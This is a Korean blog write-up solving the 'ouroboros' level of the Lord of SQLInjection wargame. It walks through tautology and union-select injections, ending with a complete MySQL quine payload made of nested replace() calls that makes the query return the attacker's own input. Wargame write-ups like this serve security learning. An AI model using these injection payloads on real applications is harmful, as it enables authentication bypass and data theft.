이번 포스트에서는 Lord of SQLInjection의 ouroboros문제에 대해 다루겠다.
문제를 클릭하면 다음과 같이 쿼리와 php코드가 표시된 화면을 볼 수 있다.
## 문제 해석 :
해당 문제는 preg_match() 함수를 통해 prob, _, ., rollup, join, @를 필터링하고 있다는 것을 알 수 있다.
또한 pw값을 알아야 문제를 해결할 수 있는 것으로 보인다.
## 문제 풀이 :
간단하게 pw=' or '1를 통해 공격을 시도해보겠다.
### 사용할 공격문 : pw=' or '1
### 실행 결과 :
아무런 값이 출력되지 않다는 사실을 알 수 있다. 즉, 테이블 안에 아무 값이 존재하지 않다는 것이다.
그럼 이어서 union select 문을 활용하여 공격을 시도해보겠다.
### 사용할 공격문 : pw=' union select '1
### 실행 결과 :
"Pw: 1"이 출력된 것을 확인할 수 있다. 즉 컬럼 중 pw 하나만 존재한다는 것을 알 수 있다.
그러나 우리가 가져온 pw값이 우리가 입력한 pw값과 같아야 하기 때문에 이 둘을 일치시켜야 한다.
여기서 mysql의 quine을 활용하여 공격을 시도해보겠다.
(quine은 소스코드를 그대로 출력해주는 프로그램이다.)
### 사용할 공격문 : pw=a' union select replace(replace('a" union select replace(replace("$",char(34),char(39)),char(36),"$") as pw%23',char(34),char(39)),char(36),'a" union select replace(replace("$",char(34),char(39)),char(36),"$") as pw%23') as pw%23
### 실행 결과 :
## 추가 해석 :
쿼리문 : pw=a' union select replace(replace('a" union select replace(replace("$",char(34),char(39)),char(36),"$") as pw%23',char(34),char(39)),char(36),'a" union select replace(replace("$",char(34),char(39)),char(36),"$") as pw%23') as pw%23
우리가 기입한 pw의 값이 a이므로 union select문을 통해 똑같은 값인 a를 받아와야 공격에 성공할 수 있다. 따라서 replace문 여러개를 활용하여 값을 변조하였다.
'Wargame > Lord of SQLInjection' 카테고리의 다른 글
Lord of SQLInjection (31. zombie) (0) | 2022.09.09 |
---|---|
Lord of SQLInjection (29. phantom) (0) | 2022.06.28 |
Lord of SQLInjection (28. frankenstein) (0) | 2022.06.23 |
Lord of SQLInjection (27. blue_dragon) (0) | 2022.06.21 |
Lord of SQLInjection (26. red_dragon) (0) | 2022.06.20 |